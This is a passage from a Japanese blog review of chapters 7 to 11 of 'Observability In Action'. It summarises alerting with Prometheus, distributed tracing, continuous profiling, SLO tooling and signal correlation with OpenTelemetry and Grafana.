アラートの重要度に応じて、エスカレーション先と連絡方法を明確に定義する。これらの設定を適切に行うことで、重要なアラートを見逃すことなく、迅速に対応できるようになります。本章では、Prometheusを使ったアラートの設定方法が具体的に解説されています。PrometheusではAlertmanagerと呼ばれるコンポーネントが、アラートのグループ化や通知の設定を担当します。Prometheusの設定ファイルでアラートルールを定義し、Alertmanagerの設定ファイルでアラートの通知先やグループ化のルールを指定します。著者が提示した例では、PrometheusのAPIコール数が一定のしきい値を超えた場合にアラートが発報され、Alertmanagerを経由してWebhookに通知が送信されます。アラートルールの定義では、PromQLと呼ばれるクエリ言語を使ってアラート条件を記述します。また、ラベルやアノテーションを使ってアラートの詳細情報を指定できます。Figure 7.2 Prometheus and the Alertmanager より引用Alertmanagerの設定では、アラートのグループ化や通知先の指定、通知メッセージのカスタマイズなどが可能です。たとえば、同じアプリケーションに関連するアラートをまとめたり、アラートの重要度に応じて通知先を変えたりといったことができます。また、抑制ルールを設定することで、特定の条件に一致するアラートを一時的に抑制することもできます。アラートの設計は一度で完璧にはできません。システムの変更に合わせて、継続的にアラートの設定を見直し、最適化していく必要があります。以下のような点に注意しながら、アラートの改善を進めていくことが重要です。アラートの効果の定期的な評価: アラートが期待通りに機能しているか、定期的に評価する。不要なアラートが多い場合は、閾値の調整やアラートルールの見直しを検討する。システム変更へのタイムリーな対応: システムの変更に合わせて、アラートの設定を速やかに更新する。特に、新しい機能のリリース時には、適切なアラートを設定するように心がける。アラートの受信者の最適化: アラートの受信者が適切か定期的にレビューする。担当者の変更やオンコール体制の見直しに合わせて、アラートの通知先を更新する。エスカレーションパスの確認: 重要なアラートが確実にエスカレーションされるよう、エスカレーションパスを定期的にテストする。アラートは、インシデント管理において重要な役割を果たします。適切なアラートの設定は、インシデントの早期検知と迅速な対応を可能にします。しかし、アラートの設計は継続的な改善が必要なプロセスです。システムの変更に合わせてアラートを最適化し、運用チームの負荷を最小限に抑えながら、インシデントを確実に検知できるようにしていくことが求められます。今後の課題本章では、クラウドネイティブアプリケーションの運用において重要となるインシデント管理、ヘルスモニタリング、アラート、ガバナンス、使用状況の追跡について詳しく解説されました。インシデント管理については、インシデントの検知から対応、そしてポストモーテムまでのプロセスを適切に定義し、実行することが重要だと述べられています。特に、インシデント発生時には問題の解決を最優先し、その後に原因分析を行うべきだと強調されています。また、ポストモーテムを通じて、インシデントから学びを得て、再発防止につなげることが重要だと指摘されています。アラートについては、適切な設計と継続的な最適化が必要だと述べられています。アラートの重要度や閾値の設定、アラートのグループ化や抑制、エスカレーションパスの明確化などが、アラートの効果的な運用に欠かせないポイントとして挙げられています。また、Prometheusを使ったアラートの設定方法が、具体的な例を交えて解説されています。ユーザー行動の追跡に関しては、Real User Monitoringを使ったエンドユーザーの行動分析や、CloudTrailなどを使った内部ユーザーのアクション追跡の重要性が指摘されています。これらのデータを活用することで、パフォーマンスの改善やセキュリティ強化、コンプライアンス対応などに役立てることができます。さらに、コスト最適化の重要性についても言及されています。クラウドの利用が拡大する中で、リソースの使用状況を可視化し、無駄な支出を削減することが求められます。AWS Cost and Usage ReportsやKubernetes向けのOpenCostなどのツールを活用することで、コストの最適化を進められると述べられています。クラウドネイティブ時代の運用は、従来のオンプレミス環境とは大きく異なります。インフラストラクチャのプロビジョニングや設定管理の自動化、オブザーバビリティの確保、コストの最適化など、多岐にわたる課題に取り組む必要があります。本章で得られた知見は、これらの課題に立ち向かう上で、重要な指針となるでしょう。ただし、本章で取り上げられたトピックは、クラウドネイティブの運用における一部に過ぎません。たとえば、カオスエンジニアリングによるシステムの回復力向上や、AIOpsの活用による運用の自動化など、本章では触れられていない重要なテーマもあります。また、クラウドネイティブの運用プラクティスは、急速に進化し続けています。新しいツールやサービス、アプローチが次々と登場する中で、運用チームは常に学習と適応が求められます。クラウドネイティブの運用は、単なるシステムの維持ではなく、ビジネスの成功に直結する戦略的な活動です。本章で紹介された手法やツールを活用しつつ、組織の文化や目標に合わせてアプローチをカスタマイズしていくことが重要です。運用の自動化や効率化を進める一方で、チーム内のコラボレーションや、開発チームとのコミュニケーションを強化することも忘れてはなりません。8 Distributed tracing分散トレーシングでクラウドネイティブシステムを徹底的に可視化本書「Observability In Action」の第8章「Distributed tracing」では、分散トレーシングという手法を用いて、クラウドネイティブシステムの複雑な動作を可視化する方法について詳しく解説されています。著者は、モノリシックなアプリケーションではログとメトリクスだけで十分だったのに対し、マイクロサービスアーキテクチャではサービス間の関係性を追跡するために分散トレーシングが欠かせないと指摘しています。分散トレーシングは、個々のリクエストがシステム内の各サービスをどのように通過するかを追跡し、処理のフローと時間情報を記録することで、システム全体の動作を俯瞰的に把握できるようにする技術です。 各サービスはリクエストの処理過程でスパン(span)と呼ばれる情報を生成し、これらのスパンが集まってエンドツーエンドのトレース(trace)を形成します。分散トレーシングツールは、これらのトレースデータを収集、分析、可視化することで、開発者やSREがシステムの動作を理解し、パフォーマンスの問題や障害の原因を特定できるようサポートします。Figure 8.3 A single request path in the app, as a temporal (waterfall) visualization より引用本章では、分散トレーシングの基本概念とユースケースが丁寧に説明されています。トレースやスパンといった基本的な用語の定義から始まり、サンプリングやコンテキスト伝搬など、実践的な話題にも踏み込んでいます。 特に、分散トレーシングが単なるツールの導入ではなく、開発チーム全体で取り組むべき文化的な実践であるという指摘が印象的でした。また、著者自身が開発したサンプルアプリケーションを使って、Jaegerというオープンソースのトレーシングツールでマイクロサービスのトレースを可視化する手順が詳しく解説されています。実際のトレースデータを見ながら、サービスマップやウォーターフォールダイアグラムを使ってシステムの動作を分析する方法を学べるのは、大変有益だと感じました。Figure 8.7 Troubleshooting the demo microservices app: an example failure trace and the span that caused the failure より引用本章の後半では、分散トレーシングを導入・運用する上での実用的なアドバイスが提供されています。 トレースのサンプリング方法の選択、分散トレーシングにかかるコスト(オブザーバビリティ税)の見積もり方、ログやメトリクスとの使い分けなど、実際のプロジェクトで直面しそうな課題に対するヒントが豊富に盛り込まれていました。エンドツーエンドの可視化でシステムをホリスティックに理解分散トレーシングは、複雑化するクラウドネイティブシステムをエンドツーエンドで可視化し、ホリスティック(包括的)に理解するための強力な手法だと言えます。マイクロサービス間の呼び出しフローを追跡することで、システム全体のアーキテクチャを俯瞰でき、パフォーマンスのボトルネックや障害の波及経路を特定しやすくなります。また、各スパンが処理時間や結果のステータスなどの詳細情報を持つため、トレースデータを分析することで、パフォーマンスの最適化や障害対応を効率化できます。一方で、分散トレーシングの導入には一定のコストがかかることも事実です。各サービスにおける計装、トレースデータの収集・保存のためのインフラ、分析・可視化ツールの運用など、様々な側面でコストが発生します。 本章でも指摘されているように、これらのコストに見合うだけの価値が得られるかを見極めることが重要です。分散トレーシングを成功に導く秘訣分散トレーシングをプロジェクトに導入し、その恩恵を最大限に引き出すためには、単にツールを導入するだけでなく、組織文化やプロセスの変革も必要だと感じました。本章から得られた教訓をまとめると、以下のようになります。分散トレーシングをオブザーバビリティ戦略の一環として位置づけるログ、メトリクスと並ぶ重要な柱として、体系的に取り組む開発チーム全体でトレーシングの価値を共有するトレーシングがもたらすメリットを開発者に伝え、活用を促す計装を自動化し、手間を最小限に抑えるOpenTelemetryなどの自動計装を活用するトレースデータを集約し、関連情報と紐付けて分析するトレースIDを軸に、ログやメトリクスと関連づけて分析する可視化ツールを使ってトレースを直感的に理解するJaegerやZipkinなどのツールで、サービスマップやウォーターフォールダイアグラムを活用するコストとベネフィットのバランスを見極める過剰な情報収集は避け、本当に必要なスパンに絞り込む分散トレーシングの未来本章では、分散トレーシングという手法の現状について詳しく解説されていましたが、この分野は現在も活発に発展し続けています。 特に、OpenTelemetryプロジェクトが、ベンダー中立な分散トレーシングのためのオープンスタンダードとして注目を集めています。各言語のSDKやAPIの整備、自動計装の充実など、OpenTelemetryの登場により、分散トレーシングの導入が以前よりも容易になることが期待されます。また、AIOpsやオブザーバビリティプラットフォームとの連携も、分散トレーシングの今後の発展において重要なトピックだと考えられます。トレースデータを機械学習モデルで分析することで、異常検知やパフォーマンス最適化の自動化が進むかもしれません。さらに、ログやメトリクスなど他のオブザーバビリティデータとトレースを統合的に扱うプラットフォームが登場すれば、よりホリスティックなシステム理解が可能になるでしょう。組織の分散トレーシングは俺と仲間で育ててる分散トレーシングは、現代のクラウドネイティブシステムにおいて欠かせないオブザーバビリティ技術の一つです。マイクロサービス間の複雑な相互作用を可視化し、パフォーマンスや信頼性の向上に役立てることができます。本章で得られた知見は、実際のシステム開発・運用の様々な場面で活用できるはずです。一方で、分散トレーシングはシルバーバレットではありません。ツールの導入だけでなく、チーム全体でトレーシングの価値を共有し、データを効果的に活用するための文化やプロセスの変革が求められます。また、トレーシングにかかるコストを適切にコントロールし、投資対効果を見極めることも重要です。分散トレーシングに取り組む際は、本章で紹介された基本概念やベストプラクティスを押さえつつ、自分たちのシステムやチームに合ったやり方を模索していくことが大切だと感じました。オープンスタンダードの採用や、他のオブザーバビリティ実践との連携など、新しい潮流にも注目しながら、システムのエンドツーエンドの可視化を追求していきたいと思います。9 Developer observabilityDeveloper observabilityで開発者の生産性を加速する本書「Observability In Action」の第9章「Developer observability」では、Developer observabilityの概念とその実現方法について詳しく解説されています。著者は、Developer observabilityを「開発者に行動可能なインサイトを提供することで、開発速度の向上、コードのデバッグ、新機能の性能・リソース使用量の理解を可能にするテレメトリシグナルの活用」と定義しています。Efficient Goも書籍として良かったのでオススメです。日本語の「効率的なGo ―データ指向によるGoアプリケーションの性能最適化」もあるので合わせて読んでみてください。learning.oreilly.com従来、開発者は主にコードの作成に注力し、テスト、パッケージング、デプロイ、運用は他の部門が担当するのが一般的でした。しかし、Developer observabilityの登場により、開発者自身がこれらの工程に関与し、迅速なフィードバックループを確立できるようになりました。 これにより、問題の早期発見と修正が可能となり、全体的なコストを削減できます。本章では、Developer observabilityを実現する具体的な手法としてContinuous profiling(継続的プロファイリング)に焦点が当てられています。Continuous profilingを使うことで、開発者はサービスの現在のパフォーマンスとリソース使用量を把握し、コード変更前後の比較が可能になります。これにより、新機能追加によるトレードオフを定量的に評価できるようになります。著者は、Continuous profilingの基盤技術として、pprofフォーマット、Flame graph、eBPFなどを紹介しています。pprofは、Googleが開発したプロファイリングデータの可視化・分析ツールであり、プロファイルをProtocol Buffers形式で表現します。 Flame graphは、プロファイルの呼び出しスタックを視覚的に表現する手法で、eBPFはLinuxカーネルを拡張してプロファイル収集を行う仕組みです。これらの技術を理解することが、Continuous profilingを活用する上で重要だと指摘されています。Figure 9.2 An flame graph using our pprof Go example より引用本章ではまた、Parca、Pixie、Pyroscopeなど、オープンソースのContinuous profilingツールが紹介されています。これらのツールは、pprofフォーマットをサポートし、eBPFを活用してプロファイルを収集します。クラウドプロバイダーや商用ベンダーも、独自のContinuous profiling機能を提供し始めています。 AWS CodeGuru Profiler、Azure Application Insights Profiler、Google Cloud Profilerなどが代表的な例です。Figure 9.3 The eBPF call flow in the Linux kernel at a conceptual level (Source: Brendan Gregg. Licensed under CC BY 4.0) より引用さらに著者は、Continuous profilingをOpenTelemetry collectorの性能分析に活用する具体的な手順を示しています。pprofエクステンションを有効化したOpenTelemetry collectorからプロファイルを収集し、Parcaを使って可視化・分析する一連の流れが丁寧に説明されており、実践的な知見が得られます。Continuous profilingに加えて、本章ではDeveloper productivityツールについても言及されています。これらのツールは、OpenTelemetryを基盤とし、コード変更が性能やリソース使用量に与える影響を開発者に可視化します。Digma、Sprkl、Tracetest、Rookout、Autometricsなどが代表的な例として紹介されています。Digmaは、OpenTelemetryのトレースとメトリクスを分析し、コードレベルのインサイトを提供するIDEプラグインです。 開発者は、コードを編集しながら、パフォーマンス、エラー、使用状況に関するフィードバックを得ることができます。Sprklは、OpenTelemetryを使ってコードをインスツルメントし、コード変更の実行時の振る舞いを探索できるようにします。 コードレベルのトレース、システム内の他のエンティティとの関係、パフォーマンスレポートなどが提供されます。Tracetestは、OpenTelemetryのトレースを利用して、マイクロサービス間の統合テストを構築するためのツールです。 サービス間の呼び出しフローを定義し、期待されるレスポンスとトレースデータに対してアサーションを記述できます。ただし著者は、Developer observabilityツールの採用には注意が必要だと指摘しています。シンボル情報の取り扱い、プロファイルの保存とクエリ、他のテレメトリデータとの相関分析、オープンスタンダードへの準拠など、克服すべき課題が残されています。特に本番環境での利用には、パフォーマンスへの影響を慎重に見極める必要があります。Continuous profilingの技術的側面に迫る本章では、Continuous profilingの基盤となる技術について詳しく解説されていました。特に、pprofフォーマット、Flame graph、eBPFは、Continuous profilingを支える重要な要素として紹介されています。pprofは、Googleが開発したプロファイリングデータの可視化・分析ツールであり、プロファイルをProtocol Buffers形式で表現します。pprofのデータフォーマットは、Continuous profilingツールの多くが採用しており、事実上の標準となりつつあります。著者は、pprofの内部構造を詳解し、protocを使ってpprofファイルをデコードする方法も示しています。これにより、開発者はpprofの仕組みを深く理解し、より効果的にContinuous profilingを活用できるようになります。pprofのデータ構造は、Profileメッセージを中心に構成されています。 Profileメッセージには、サンプルの種類(ValueType)、収集されたサンプル(Sample)、マッピング情報(Mapping)、ロケーション情報(Location)、関数情報(Function)などが含まれます。これらのサブメッセージを組み合わせることで、プロファイリングデータが表現されるのです。Flame graphは、プロファイルの呼び出しスタックを視覚的に表現する手法です。著者は、Flame graphの読み方を丁寧に解説し、slowTask()やquickTask()といった関数の実行時間を色と幅で表現する例を示しています。Flame graphを使いこなすことで、開発者はボトルネックの特定や性能の最適化を直感的に行えるようになります。Flame graphでは、x軸方向に呼び出しスタックが並べられ、y軸方向にスタックの深さが示されます。 各関数の実行時間は、対応する長方形の幅で表現されます。これにより、どの関数がCPU時間を多く消費しているかが一目で分かります。また、呼び出し元と呼び出し先の関係も、スタックの階層構造から読み取ることができます。eBPFは、Linuxカーネルを拡張し、プロファイルの収集を可能にする仕組みです。著者は、eBPFの基本概念とContinuous profilingにおける役割を説明しています。eBPFを活用することで、アプリケーションコードに変更を加えることなく、カーネルレベルでのプロファイリングが実現できます。 ただし、eBPFを本番環境で利用するには、カーネルバージョンや設定に注意が必要だと指摘されています。eBPFプログラムは、カーネル内の特定のイベント(関数の呼び出し、リターン、パケットの受信など)にアタッチされ、イベント発生時に実行されます。これにより、カーネルの動作を詳細に観測し、必要な情報を収集することが可能になります。収集されたデータは、カーネル内のeBPFマップを介してユーザー空間に渡され、分析ツールで処理されます。これらの技術的な説明は、Continuous profilingの仕組みを深く理解する上で欠かせません。pprofやeBPFを適切に活用することで、開発者はアプリケーションの性能を正確に把握し、改善に役立てることができるでしょう。一方で、これらの技術にはそれぞれ固有の制約や課題があることも忘れてはなりません。著者が示唆するように、Continuous profilingを効果的に実践するには、技術的な理解と、トレードオフを見極める判断力の両方が求められます。プロファイルの保存と分析の課題に挑むContinuous profilingを実践する上で、プロファイルデータの保存と分析は大きな課題となります。著者は、列指向のストレージとXOR圧縮という2つのアプローチを紹介しています。列指向のストレージは、プロファイルデータを効率的に保存し、クエリを高速化するために用いられます。著者は、ParcaチームがGo言語で開発したFrostDBを例に挙げ、列指向データベースがプロファイルの保存に適していることを説明しています。FrostDBは、Apache Parquetをストレージフォーマットに、Apache Arrowをクエリエンジンに採用しており、半構造化スキーマをサポートしています。列指向ストレージでは、データが列単位で格納されます。つまり、同じ列に属するデータが連続的に配置されるのです。これにより、特定の列に対するクエリが高速化されます。また、列単位の圧縮が可能となり、ストレージ容量を大幅に削減できます。プロファイルデータは、呼び出しスタックや関数名、タイムスタンプなど、複数の列から構成されるため、列指向ストレージとの親和性が高いと言えます。一方、XOR圧縮は、プロファイルのタイムスタンプを効率的に圧縮するための手法です。著者は、Facebookのエンジニアチームが考案した「Gorilla」アルゴリズムを紹介し、タイムスタンプのデルタ値を符号化することで、ストレージ容量を大幅に削減できると説明しています。XOR圧縮では、連続するタイムスタンプの差分(デルタ)を計算し、そのデルタ値をXOR演算で符号化します。 これにより、タイムスタンプの繰り返しパターンが効果的に圧縮されます。プロファイルデータは、連続的に収集されるため、タイムスタンプの圧縮に適しているのです。XOR圧縮を適用することで、プロファイルの長期的な保存が現実的になります。これらの技術は、大規模なプロファイルデータを扱う上で重要な役割を果たします。列指向ストレージを活用することで、開発者は膨大なプロファイルを効率的に保存し、高速にクエリを実行できるようになります。XOR圧縮は、ストレージコストの削減に貢献し、長期的なプロファイルの保持を可能にします。ただし、著者も指摘するように、プロファイルデータの保存と分析には、まだ多くの課題が残されています。特に、プロファイルに対する表現力豊かなクエリ言語の確立は、喫緊の課題だと言えます。Parcaのラベルベースのクエリ言語やPyroscopeのFlameQLなど、各ツールが独自のアプローチを取っていますが、業界全体で共通の標準が求められています。加えて、プロファイルデータと他のテレメトリデータとの相関分析も、重要な研究テーマです。分散トレースやメトリクスとプロファイルを組み合わせることで、より総合的なパフォーマンス分析が可能になるはずです。しかし、現状では、これらのデータを統合的に扱うための仕組みが十分に確立されているとは言えません。Continuous profilingの本格的な実践には、これらの課題を着実に解決していく必要があります。列指向ストレージやXOR圧縮といった要素技術を活用しつつ、クエリ言語の標準化や、テレメトリデータ間の相関分析手法の確立に取り組むことが求められます。著者が強調するように、オープンスタンダードの採用と、コミュニティ全体での知見の共有が、Continuous profilingの発展に欠かせないのです。あわせて6本にしてみる...本章では、Continuous profilingを支える基盤技術と、その実践に向けた課題について深く掘り下げていました。pprofやFlame graph、eBPFといった要素技術は、Continuous profilingの中核を成すものであり、開発者がその仕組みを理解することは極めて重要です。また、列指向ストレージやXOR圧縮といった手法は、大規模なプロファイルデータを扱う上で欠かせない存在だと言えるでしょう。一方で、クエリ言語の標準化や、テレメトリデータ間の相関分析など、Continuous profilingの実践には克服すべき課題が山積みです。これらの課題に正面から向き合い、地道な改善を積み重ねていくことが、私たち開発者に求められています。オープンスタンダードの採用と、知見の共有。それが、Continuous profiling、ひいてはDeveloper observabilityを発展させるための鍵だと、私は確信しています。 一人一人の開発者が自らの経験を持ち寄り、ベストプラクティスを編み出していく。そのような協調的な取り組みこそが、Developer observabilityの真の力を引き出すのだと思います。Jaeger の作者で OpenTelemetry の共同創始者でもある Yuri Shkuro の TEMPLE: six pillars of telemetry ではObservability をTraces,Events,Metrics,Profiles,Logs,Exceptions で6 本柱としてクラウドネイティブなシステムの観測性に役立つと主張している。このような考えもあることを知っておくと良いかもです。medium.com10 Observability In ActionSLOでサービスの信頼性を定量化し、顧客満足度を高める本書「Observability In Action」の第10章「Service level objectives」では、サービス品質の定量化とその自動化に不可欠なサービスレベル目標(SLO)について詳しく解説されています。著者は、信頼性に関する規制が今後セキュリティと同様に重要になると指摘し、SLOを用いてサービスの信頼性を測定・報告することが、金融、通信、航空などの業界で注目を集めていると述べています。SLOは、サービス提供者と消費者の間で交わされるサービスレベルアグリーメント(SLA)を定量化し、自動化するための重要な手段です。SLAで約束した内容を数値化したものがSLOであり、そのSLOの達成度を実際に測定するための指標がサービスレベルインジケータ(SLI)です。つまり、SLIで測定し、SLOで目標を定め、SLAで契約を交わす、という関係になります。Figure 10.1 Interaction and dependencies between SLAs, SLOs, and SLIs より引用本章では、SLOの対象となるサービスの種類として、同期型、非同期型、特殊型の3つが挙げられています。同期型サービスはリクエスト-レスポンス型のWebサービスや、RPCベースのシステムが該当します。非同期型サービスは、メッセージキューやPub/Subシステムなどが含まれます。特殊型サービスには、バッチジョブ、ストレージ、データベースなどが含まれます。それぞれのサービス特性に応じて、適切なSLIを設定する必要があります。SLIの具体例としては、サービスの可用性、エラー率、レイテンシ、スループットなどが挙げられています。これらの指標をもとに、サービスの品質を定量的に評価し、改善のための目標(SLO)を設定します。例えば、「99.9%の可用性を維持する」「エラー率を0.1%以下に抑える」といったSLOを定めることで、サービス品質の向上を図ることができます。SLOを設定する際は、可用性と速度のバランスを考慮する必要があります。可用性を上げるためには変更を控えめにする必要がありますが、それでは新機能の追加が滞ってしまいます。逆に、変更を頻繁に行えば、可用性が下がるリスクがあります。サービスの特性に応じて、適切なSLOを設定することが重要だと著者は指摘しています。本章ではまた、PrometheusをベースとしたオープンソースのSLOツールであるPyrraとSlothについて詳しく解説されています。これらのツールを使うことで、PrometheusのメトリクスをSLIとして扱い、SLOの達成状況を容易に可視化できます。PyrraはPrometheusのレコーディングルールを生成することでSLOを実装します。ServiceLevelObjectiveリソースを定義すると、それに対応するPrometheusのルールが自動生成されます。一方、SlothはPrometheusのルールグループを生成し、SLIやエラーバジェットの計算を行います。どちらのツールもSLOの実装を大幅に簡略化してくれます。著者はまた、SLOの商用ソリューションについても言及しています。Nobl9、Datadog、Honeycomb、Dynatraceなど、多くのベンダーがSLOの機能を提供し始めていると指摘しています。特にNobl9は、SLOに特化した包括的なソリューションを提供していると紹介されています。最後に著者は、SLOを定義する際にはOpenSLOなどのオープンスタンダードを活用すべきだと強調しています。ベンダーロックインを避け、相互運用性を確保するためにも、オープンな仕様に準拠することが重要だと述べています。SLOの実装と運用における留意点本章では、SLOの実装と運用に関する具体的な留意点についても言及されていました。まず、SLOの設定には、サービスの利用者と提供者の間での合意形成が不可欠です。著者は、営業担当者、プロダクトオーナー、エンジニアリングチームが連携し、サービスの特性に応じた適切なSLOを定義すべきだと述べています。その際、エラーの許容範囲や、SLOの対象期間などを明確にすることが重要です。SLOの達成度を測定するためのSLIの設定も、慎重に行う必要があります。SLIは、サービスの品質を数値化するための指標であり、サービスの種類によって適切なものを選ぶ必要があります。著者は、REDメソッド(Rate、Errors、Duration)など、SLIの選定に関する参考資料を紹介しています。SLOの運用においては、エラーバジェットの管理が鍵を握ります。エラーバジェットとは、SLOを達成するために許容されるエラーの範囲のことです。エラーバジェットを適切に設定し、モニタリングすることで、SLOの違反を未然に防ぐことができます。エラーバジェットの消費速度(バーンレート)を追跡することも、SLOの管理に役立ちます。本章で紹介されたPyrraやSlothなどのSLOツールを活用することで、SLOの実装と運用を大幅に効率化できます。これらのツールは、PrometheusのメトリクスをSLIとして扱い、SLOのモニタリングとアラートの設定を容易にしてくれます。ただし、ツールの選定には注意が必要です。機能、性能、価格などを総合的に評価し、自社のニーズに合ったものを選ぶことが重要です。SLOの導入には、組織文化の変革も欠かせません。サービスの品質を定量的に評価し、継続的に改善していくためには、開発者、運用者、ビジネス関係者が一丸となって取り組む必要があります。SLOを中心とした品質管理のプラクティスを組織全体に浸透させ、データドリブンな意思決定を促進することが求められます。サービスの継続的な改善の為のSLO本章では、サービス品質の定量化と自動化に不可欠なSLOについて、詳細に解説されていました。SLOは、SLAで約束したサービス品質を数値化し、SLIで測定するための重要な手段です。サービスの種類に応じて適切なSLIを選定し、SLOを設定することで、サービスの継続的な改善が可能になります。SLOの実装には、PyrraやSlothなどのオープンソースツールが役立ちます。これらのツールを活用することで、PrometheusのメトリクスをSLIとして扱い、SLOのモニタリングを容易に行えます。一方、Nobl9やDatadogなどの商用ソリューションも、SLOの管理に強力な機能を提供しています。github.comsyu-m-5151.hatenablog.comSLOの運用では、エラーバジェットの管理が鍵を握ります。サービスの品質を維持しつつ、変更を加速するためには、適切なエラーバジェットの設定と消費速度の追跡が欠かせません。また、SLOの導入には組織文化の変革も必要です。サービス品質の定量的な評価と継続的な改善を、組織全体の習慣とすることが重要です。SLOは、単なる技術的な指標ではありません。それは、サービス提供者と消費者の間の信頼関係を築くための重要な手段でもあります。SLOを導入することで、サービスの品質に対する説明責任を果たし、ユーザーの満足度を高めることができるのです。本章を通して、SLOの重要性と実践的な手法について理解を深めることができました。測定できないものは改善できないと言われます。サービスの品質を定量化し、データに基づいて改善を進めていくこと。それがSLOの本質であり、私たちに求められる姿勢だと感じました。皆さんの組織では、SLOをどのように活用されていますか?PyrraやSlothなどのツールの利用経験や、SLOの運用で得られた知見などがあれば、ぜひ共有いただきたいと思います。SLOを通じて、サービスの品質と信頼性を高めていくために、私たちにできることは何でしょうか。サービスの信頼性を定量化し、顧客の期待に応えていく。そのためのアプローチとして、SLOは大きな可能性を秘めています。本章で得られた知見を活かし、SLOの実践を通じて、より信頼性の高いサービスを提供していきたいと思います。11 Signal correlationシグナル相関で複雑なシステムの動作を俯瞰的に理解する本書「Observability In Action」の最終章「Signal correlation」では、複数のオブザーバビリティシグナルを関連付けることで、クラウドネイティブシステムの動作をより深く理解する方法が解説されています。著者は、ログ、メトリクス、トレース、プロファイルといった個々のシグナルだけでは、システムの全体像を把握するのに十分ではないと指摘しています。シグナル相関は、異なるシグナルタイプを結び付けることで、より迅速かつ正確に有用な洞察を得るためのメタデータ主導のプロセスだと定義されています。マイクロサービスアーキテクチャを採用する現代のシステムは、多数のサービスが連携して一つのリクエストを処理します。そのため、障害やパフォーマンスの問題が発生した際に、どのサービスが原因となっているのかを特定するのが難しくなります。シグナル相関は、インシデント対応、根本原因分析、サービスの性能改善など、様々な場面で威力を発揮します。メトリクスからトレースへ、トレースからログへ、といったように、複数のシグナルを行き来しながら、問題の全容を明らかにできるのです。本章では、シグナル相関の基本概念として、相関スタックが紹介されています。これは、計装層、バックエンド層、フロントエンド層から構成され、相関を実現するための階層的な仕組みを表しています。Figure 11.1 The correlation stack より引用計装層では、アプリケーションコードとテレメトリエージェントが、テレメトリデータを生成し、メタデータで enrichment を行います。バックエンド層では、収集されたテレメトリデータがメタデータとともに保存され、相関のためのクエリに応える役割を担います。そして、フロントエンド層で、ユーザーがシグナル間を自在に行き来しながら、システムの動作を探索できるようになります。特に、OpenTelemetryの果たす役割の大きさが強調されています。OpenTelemetryは、セマンティック規約を通じて、リソース属性やシグナル属性といったメタデータを標準化します。これにより、ベンダーに依存しない形で、シグナル間の相関を自動化できるようになります。OpenTelemetryのリソース属性を使えば、Kubernetesのノードや、その上で動作するアプリケーションを一意に識別できます。また、シグナル属性によって、HTTPリクエストやRPCコールなど、個々のシグナルにも豊富なメタデータを付与できるのです。また、著者は相関パスという概念を導入し、あるシグナルタイプから別のシグナルタイプへの遷移を表現しています。Table 11.1 Overview of signal correlations より引用トレースからメトリクスへ、メトリクスからログへ、ログからトレースへ、といったように、様々な組み合わせが考えられます。それぞれの遷移では、関連する情報が引き継がれ、より広い文脈でシステムの動作を理解できるようになります。例えば、トレースからメトリクスへの相関では、トレースが表す分散トランザクションから、レイテンシーや、エラー率などの代表的なメトリクスを導き出せます。逆に、メトリクスからトレースへの相関では、異常な振る舞いを示すメトリクスから、その原因となっているトレースに迫ることができるでしょう。ログとトレースの相関も、非常に有用です。あるサービスのログから、そのサービスが関与するトレースを特定したり、トレースに含まれる各サービスのログを収集したりできます。これにより、分散トランザクションの流れと、各時点で記録されたイベントを突き合わせながら、問題の原因を追跡できるようになります。本章では、このようなシグナル相関の概念を、様々な角度から掘り下げています。相関を実現するためのメタデータの標準化、相関パスの種類と活用方法、OpenTelemetryを中心とするオープンな技術スタックなど、相関に関する重要なポイントが網羅的に解説されていました。OpenTelemetry、Jaeger、Grafanaを使ったメトリクスとトレースの相関本章では、メトリクスとトレースの相関を実現する具体的な方法として、OpenTelemetry、Jaeger、Grafanaを使った例が紹介されています。サンプルアプリケーションは、OpenTelemetryを使って計装され、トレースを生成します。同時に、Prometheus形式のメトリクスにトレースIDを埋め込むことで、エグゼンプラ(exemplars)を実現しています。OpenTelemetryコレクタは、トレースをJaegerに、メトリクスをPrometheusに転送します。コード例を見ると、OpenTelemetryのGoライブラリを使って、メトリクスの各ポイントにトレースIDをラベルとして埋め込んでいます。これがエグゼンプラの肝となる部分です。メトリクスを公開する際には、Prometheusの HTTP ハンドラを使い、レスポンスフォーマットとして OpenMetrics を指定しています。OpenTelemetryコレクタの設定では、Prometheusエクスポータと Jaeger エクスポータを使って、それぞれのバックエンドにデータを送信しています。Prometheusエクスポータでは、enable_open_metrics オプションを有効にすることで、エグゼンプラのサポートが有効になります。実際にエグゼンプラがどのように埋め込まれているかは、curl コマンドで /metrics エンドポイントにアクセスすることで確認できます。traceID というラベルに、トレースIDが格納されているのが分かります。Grafanaのダッシュボードでは、メトリクスのグラフ上に小さな点として表示されるエグゼンプラをクリックすることで、該当するトレースにジャンプできます。これにより、メトリクスの異常を発見した際に、すぐにトレースを確認し、問題の原因を特定できるようになります。Figure 11.2 Screenshot of the Grafana dashboard with exemplars (the small dots at the bottom) for the echo service より引用Figure 11.3 Screenshot of the Jaeger view for the echo service, focusing on the error span representing a 500 responseこのように、オープンソースツールを組み合わせることで、シグナル相関を比較的簡単に実現できることが示されています。各ツールが担う役割を理解し、適切に設定することが重要だと感じました。特に、OpenTelemetryがデータ収集の中心となり、Jaegerがトレースの保存と可視化を、Prometheusがメトリクスの保存と集計を、そしてGrafanaが相関の UI を提供するという、それぞれの得意分野を活かした構成が印象的でした。もちろん、本格的な運用のためには、データ量の増大への対応や、セキュリティの確保など、さらなる検討が必要でしょう。しかし、本章の例は、シグナル相関を実践するための第一歩として、大いに参考になると感じました。シグナル相関の実装における課題と対策本章では、シグナル相関の実装における課題についても言及されています。まず、標準化の欠如が挙げられています。APMやモニタリングツールごとに、シグナルのフォーマットや用語が異なるため、システム間で相関を行うのが難しくなります。これに対しては、OpenTelemetryのような標準化されたフレームワークを採用することが有効だと指摘されています。OpenTelemetryは、ベンダー中立なオープンスタンダードであり、多くのプログラミング言語やフレームワークをサポートしています。これにより、様々なシステムから一貫性のあるテレメトリデータを収集できるようになります。次に、メタデータの不足が課題として挙げられています。相関を実現するには、リソースや環境に関する豊富なメタデータが必要ですが、既存のシステムではそれが十分に提供されていないことが多いのです。特に、レガシーなアプリケーションや、サードパーティのAPIを利用している場合、メタデータの取得が困難を極めることがあります。ここでも、OpenTelemetryのセマンティック規約に従うことで、メタデータの自動付与が可能になります。ただし、完全な自動化は難しく、場合によってはカスタムの計装が必要になるでしょう。シグナルのボリューム、カーディナリティ、サンプリングも、相関の実装を難しくする要因です。大量のデータを処理するために、適切なインデックス設計や集計、フィルタリングが欠かせません。特に、ログデータは非構造化データであるため、関連する情報を抽出するのが一苦労です。また、メトリクスの次元が増えすぎると、カーディナリティ爆発を引き起こし、クエリのパフォー